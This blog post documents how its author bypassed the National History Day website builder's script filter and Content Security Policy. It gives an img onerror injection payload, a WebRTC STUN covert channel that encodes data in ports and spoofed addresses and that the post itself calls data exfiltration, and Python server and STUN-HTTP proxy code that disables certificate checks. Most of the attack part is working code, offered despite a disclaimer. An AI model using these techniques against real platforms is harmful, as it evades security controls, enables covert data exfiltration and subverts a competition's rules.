Back to Blog
NHD Website Builder Bypassing

NHD Website Builder Bypassing

Athmyx13 min read
WebRTCDOMNational History Day

Note: This article is only for personal learning, technical research, and process recording. It is strictly forbidden to use this content for unauthorized testing, attacking, bypassing platform rules, scraping data, or any other actions that might harm the platform, its users, or the fairness of the competition.

Environment Setup

CategoryConfiguration / Details
Operating SystemWindows 11
BrowserGoogle Chrome v145.0.7632.26
Server OS (if any)Ubuntu 22.04 LTS
Python Environment (if any)Python 3.12

NHD (National History Day) is a famous global history competition. One way to participate is by making a website. However, starting in 2025, NHD only allows students to use their official tool, NHDWebCentral®.

Even though the editor lets you upload your own code, it actively deletes all JavaScript and changes some of your CSS. The site also has strict CSP (Content Security Policy) and file sandbox rules. This post is mainly to record how I got around these limits to successfully run JavaScript and connect to the internet.

Bypassing the JavaScript Ban and Inline Injection

First, let's try to run some JavaScript. Both the front-end and back-end of the NHD editor block JS and inline code injection. Here is the filtering code pulled directly from the editor:

Clean: (value) => {
 
    if (value && value.length > 0) {
 
        var response = [];
        var start = 0;
        for (var i = 0; i < value.length - 1; i++) {
            var char = value[i];
            var char2 = value[i + 1];
 
            if (char == '<' && char2 == '?') {
 
                if (i - start > 0) response.push(value.substring(start, i));
 
                for (var j = i + 2; j < value.length; j++) {
                    var end1 = value[j];
                    var end2 = value[j + 1];
                    i = j;
                    start = j + 2;
                    if (end1 == '?' && end2 == '>') {
                        break;
                    }
                }
                continue;
            }
 
            if (char == '<' && char2 == '%') {
 
                if (i - start > 0) response.push(value.substring(start, i));
 
                for (var j = i + 2; j < value.length; j++) {
                    var end1 = value[j];
                    var end2 = value[j + 1];
                    i = j;
                    start = j + 2;
                    if (end1 == '%' && end2 == '>') {
                        break;
                    }
                }
                continue;
            }
 
            if (value[i] == '<' && value[i + 1] == '!' && value[i + 2] == '-' && value[i + 3] == '-') {
 
                if (i - start > 0) response.push(value.substring(start, i));
 
                for (var j = i + 3; j < value.length; j++) {
                    i = j;
                    start = j + 3;
                    if (value[j] == '-' && value[j + 1] == '-' && value[j + 2] == '>') {
                        break;
                    }
                }
                continue;
            }
 
            if (i + 7 < value.length && value.substring(i, i + 7).toLowerCase() == '<script') {
                console.log('script section removed...');
                if (i - start > 0) response.push(value.substring(start, i));
 
                for (var j = i + 7; j < value.length; j++) {
                    i = j;
                    start = j + 9;
                    if (j + 9 < value.length && value.substring(j, j + 9).toLowerCase() == '</script>') {
                        break;
                    }
                }
                continue;
            }
 
        }
        response.push(value.substring(start));
        //console.log(response);
        return response.join('');
    }
 
    return value;
 
}
 

The NHD Builder completely stops you from running standard JavaScript directly (it blocks all <script> tags and external .js files). Because of this, we have to take advantage of how the browser handles DOM element errors.

The onerror injection method:

<img src="x" onerror="(function(self){ /* Your Code Here */ })(this);">
 

By requesting an image that definitely doesn't exist (src="x"), we force the browser to throw an error, which immediately triggers the JavaScript inside the onerror attribute. This trick lets us create a free, unrestricted space to run code inside the sandbox. However, this method still can't connect to external servers because of the website's CSP rules:

<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self'
       'unsafe-inline'
        https://data.illuminatingsoftware.com
        https://fonts.googleapis.com
        https://cdn.orkboo.com
        https://code.jquery.com
        https://stackpath.bootstrapcdn.com;
  style-src 'self'
       'unsafe-inline'
        https://fonts.googleapis.com
        https://cdn.orkboo.com
        https://stackpath.bootstrapcdn.com
        https://data.illuminatingsoftware.com
        https://cdnjs.cloudflare.com;
  img-src 'self' data:;
  font-src 'self'
        https://fonts.googleapis.com
       https://fonts.gstatic.com
        https://cdn.orkboo.com
        https://data.illuminatingsoftware.com;
  frame-src 'self';
  child-src 'none';
  object-src 'none';
  connect-src 'self'
        https://data.illuminatingsoftware.com
       https://stackpath.bootstrapcdn.com;
"/>
 

Trying to Upload Files to Run JS

Before looking into DOM injection, I checked the normal file upload features on the NHD platform. NHD lets users upload static files, but the formats are strictly limited to a whitelist: images, videos, audio, XML, and PDFs.

Out of these, XML and PDF have the potential to run JS, and they aren't covered by the HTML's CSP.
According to Adobe's rules, PDFs support built-in JavaScript (AcroJS). But AcroJS only gives you the doc.submitForm() function for network communication. In modern built-in browser PDF viewers, this only allows one-way communication, so you can't build a two-way connection (Bidirectional Communication) with a server. Also, the ability to run code through XML has been dropped by modern browsers. So, file uploads won't solve our problem.

The STUN Protocol

There is one strategy that isn't restricted by CSP: the STUN protocol (RTCPeerConnection) running under WebRTC.

The CSP's connect-src rule specifically controls things like fetch, XMLHttpRequest, WebSocket, EventSource, and sendBeacon().
WebRTC's RTCPeerConnection (ICE/STUN/TURN traffic) is not on this list. It is a peer-to-peer communication API built into the browser itself, and CSP rules don't cover it.

However, the actual ability to send and receive data through STUN is very limited. JS cannot freely create or send STUN packets; STUN is automatically sent by the browser's built-in ICE engine. JS can only tell it where to go.

Let's first test if STUN is working:

<img src="x" onerror="
  const p = new RTCPeerConnection({
    iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
  });
 
  p.createDataChannel('test');
 
  p.onicecandidate = (e) => {
    if (e.candidate && e.candidate.candidate.includes('srflx')) {
      alert('Connection Works ' + e.candidate.candidate);
      p.close();
    }
  };
 
  p.createOffer()
    .then(o => p.setLocalDescription(o))
    .catch(err => console.error('WebRTC Error:', err));
">
 

The test shows it connects perfectly, so we can move to the next step.

Sender Limits

When we use JS to create a STUN probe pointing at our server:

var pc = new RTCPeerConnection({ iceServers:[{urls:'stun:'+SERVER+':'+port}] });
pc.createDataChannel('d');
 

It can only send a 20-byte packet:

OffsetFieldSizeContent
0x00Message Type2 bytes0x0001
0x02Message Length2 bytes0x0000
0x04Magic Cookie4 bytes0x2112A442
0x08Transaction ID12 bytesRandom Value

Total: 20 bytes

The only input that JS can control is what goes into the iceServers of the RTCPeerConnection (the STUN server address and port), for example:
stun:stun.l.google.com:19302

Receiver Limits

OffsetFieldSizeContent
0x14Attr Type2 bytes0x0020
0x16Attr Length2 bytes0x0008
0x18Reserved + Family2 bytesFixed Value
0x1AXOR Port2 bytesCan encode ~16 bits
0x1CXOR IP4 bytesCan encode ~32 bits

In JS, you can't receive the actual STUN response packet itself; you only get the result after the browser processes the STUN. From the perspective of RFC 5389 rules, the most important part of the Binding response is the XOR-MAPPED-ADDRESS: this tells the sender a public IP:port mapping.

We can control very little data:

Client -> Server: Target port (~16 bits)
Server -> Client: Port + IP = ~48 bits (6 bytes)

A single round trip can only carry about 6 bytes of data. If you want to send more data, you have to run multiple RTCPeerConnection requests and piece those 6 bytes together each time.

Bandwidth Analysis

Every time you query, you need to create a new RTCPeerConnection. The whole process of the browser creating the PC -> gathering ICE -> receiving the candidate takes about 500ms or more, depending on your internet and browser.

So the real speed is roughly:
1-2 rounds per second -> 6-12 bytes/s download, 16-32 bits/s upload.

This kind of speed is only good enough for simple turn-based or card games. It's almost impossible to build any real-time action games with it.

Transfer Architecture Design

At this point, we know that STUN can theoretically talk to the outside world. Now we just need to design the exact steps.
The normal job of the STUN protocol is to let a client ask a server for its public IP and port. The server answers honestly by putting this in the XOR-MAPPED-ADDRESS attribute. But if we build our own server, we can completely customize what goes in that answer.

By building a Python server that handles client requests and pretends to be the STUN protocol, we can encode everything we want to send right into the port number.
For any group of bytes we want to send, we take the position of each byte (Index, written as ) and its exact value (Value, written as ). We do some math to map this to a unique UDP target port.

The math formula for encoding is:

  • is the port the browser finally sends the STUN probe to.
  • is the start of a safe port range (we use in this example).
  • ranges from (allowing up to bytes of data transfer).
  • ranges from (the standard size of one byte).

Example

The front-end (inside the onerror sandbox) gets system info and turns it into a byte stream. Let's say the 3rd byte () has a value of ().
The front-end calculates the target port: .
The front-end sends a STUN request to port on the server.

The Python asynchronous server on the back-end notices a UDP signal on port and immediately decodes it backwards:
Index
Byte value

The server drops the value into the 3rd spot in its memory dictionary, eventually putting the full string back together.

Every UDP probe works independently. Because UDP is an unreliable connection, hard-coding the ports like this means the server doesn't have to care about what order the packets arrive in. As long as a packet gets there, it can be put in the exact right place. This perfectly achieves Data Exfiltration (sneaking data out).

Server Design

The back-end needs to use a single-thread asynchronous setup to listen to many ports. To support sending up to 128 bytes, the server needs to listen to a total of ports.
If we made a new thread or process for every single UDP port, the system would crash from trying to switch between them too much (a version of the C10K problem). Therefore, the back-end must use a single-thread event loop. For example, you can use the DatagramProtocol in Python's asyncio library.

import asyncio
 
class STUNProtocol(asyncio.DatagramProtocol):
    def __init__(self, port):
        self.port = port
 
    def datagram_received(self, data, addr):
 

By using a for-loop, we can tie all the calculated ports to the same event loop. Now, tens of thousands of ports share the same underlying system mechanic (epoll or kqueue). As soon as a UDP packet arrives, the system triggers a response without freezing everything else, and it immediately goes back to listening after reading it. This ensures that the server's CPU usage stays super low, even when handling a ton of STUN probes at once.

Server Sending Data Down

To send data from the server down to the client, we have to rely on a trick called XOR-MAPPED-ADDRESS spoofing (faking).
The main idea is similar: we hide the data in the IP and port numbers.

Let's say the server needs to send 4 bytes of data to the client inside the NHD sandbox (like the letters "PLAY", which are in ASCII numbers).
The server just creates a fake IPv4 address, dropping these 4 bytes into the 4 sections of the IP:

Of course, you can also use IPv6 addresses. An IPv6 address has 128 bits, which gives you 16 bytes to work with.

Implementation Logic

After the server gets the STUN Binding Request from the client, it pulls out the Transaction ID, and then builds a STUN Binding Response following the RFC 5389 rules. The trick happens when writing the Attributes:

import struct
import asyncio
 
def make_spoofed_stun_response(txn_id: bytes, data_bytes: bytes) -> bytes:
    # Make sure data_bytes is long enough
    if len(data_bytes) < 4:
        data_bytes = data_bytes.ljust(4, b'\x00')
 
    # XOR processing. STUN rules require the IP address to be XOR'd with the Magic Cookie (0x2112A442)
    magic_cookie = 0x2112A442
    ip_int = struct.unpack("!I", data_bytes[:4])[0]
    xor_ip = ip_int ^ magic_cookie
 
    attr_val = struct.pack("!BBH I", 0x00, 0x01, 0x0000, xor_ip) # Port set to 0
    attr_len = len(attr_val)
    attr = struct.pack("!HH", 0x0020, attr_len) + attr_val
 
    # Build STUN Header (0x0101 is Binding Response)
    hdr = struct.pack("!HHI", 0x0101, len(attr), magic_cookie) + txn_id
    return hdr + attr
 

Client Receiving and Decoding

The front-end JS code doesn't require any weird hacks. It just listens for the ICE Candidate event normally. Once the browser processes the message from the server, it hands this fake IP over to the JS layer.

pc.onicecandidate = function(event) {
    if (event.candidate) {
        let parts = event.candidate.address.split('.');
        if (parts.length === 4) {
            let receivedBytes = parts.map(Number);
            let decodedString = String.fromCharCode(...receivedBytes);
            console.log("Server commands:", decodedString);
 
            // Run next steps
        }
    }
};
 

At this point, the core problem of communicating with the outside world is basically solved!

Extension: Proxy HTTP/HTTPS Requests

The code below can act as a proxy for any API:

import socket, struct, urllib.request, ssl, time, threading, argparse
 
MAGIC = 0x2112A442
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
 
payload = b""
lock = threading.Lock()
 
 
def fetch(url):
    global payload
    try:
        req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        raw = resp.read()
        # Try gbk, if fail try utf-8, if fail use raw bytes
        try:
            text = raw.decode("gbk")
        except:
            try:
                text = raw.decode("utf-8")
            except:
                text = raw.hex()
        with lock:
            payload = text.encode("utf-8")
            while len(payload) % 4:
                payload += b'\x00'
        print(f"[*] {len(payload)}B: {text[:80]}")
    except Exception as e:
        print(f"[!] {e}")
 
 
def stun_resp(txn, port_val, ip_bytes):
    xp = port_val ^ 0x2112
    xi = struct.unpack("!I", ip_bytes)[0] ^ MAGIC
    a = struct.pack("!BBH I", 0, 1, xp, xi)
    return struct.pack("!HHI", 0x0101, len(a) + 4, MAGIC) + txn + struct.pack("!HH", 0x0020, len(a)) + a
 
 
def serve(host, port, idx):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind((host, port))
    while True:
        try:
            d, addr = s.recvfrom(1024)
        except:
            continue
        if len(d) >= 20 and struct.unpack("!H", d[:2])[0] == 0x0001:
            t = d[8:20]
            with lock:
                if idx == -1:
                    # Control: port=chunks, ip=[lenH,lenL,0xAA,0xBB]
                    n = len(payload)
                    r = stun_resp(t, n // 4, bytes([(n >> 8) & 0xFF, n & 0xFF, 0xAA, 0xBB]))
                else:
                    o = idx * 4
                    c = payload[o:o+4] if o + 4 <= len(payload) else b'\0\0\0\0'
                    r = stun_resp(t, idx, c)
            try:
                s.sendto(r, addr)
            except:
                pass
 
 
def main():
    p = argparse.ArgumentParser(description="STUN-HTTP Proxy")
    p.add_argument("url", help="Proxy URL")
    p.add_argument("--host", default="0.0.0.0")
    p.add_argument("--port", type=int, default=3478)
    p.add_argument("--interval", type=int, default=10, help="Refresh interval")
    p.add_argument("--max-chunks", type=int, default=50, help="Max chunks")
    a = p.parse_args()
 
    print(f"  STUN-HTTP Proxy")
    print(f"  URL: {a.url}")
    print(f"  UDP: {a.port}-{a.port + a.max_chunks}")
    print()
 
    fetch(a.url)
 
    # Start ports
    threading.Thread(target=serve, args=(a.host, a.port, -1), daemon=True).start()
    for i in range(a.max_chunks):
        threading.Thread(target=serve, args=(a.host, a.port + 1 + i, i), daemon=True).start()
 
    print(f"[*] ready\n")
    while True:
        time.sleep(a.interval)
        fetch(a.url)
 
 
if __name__ == "__main__":
    main()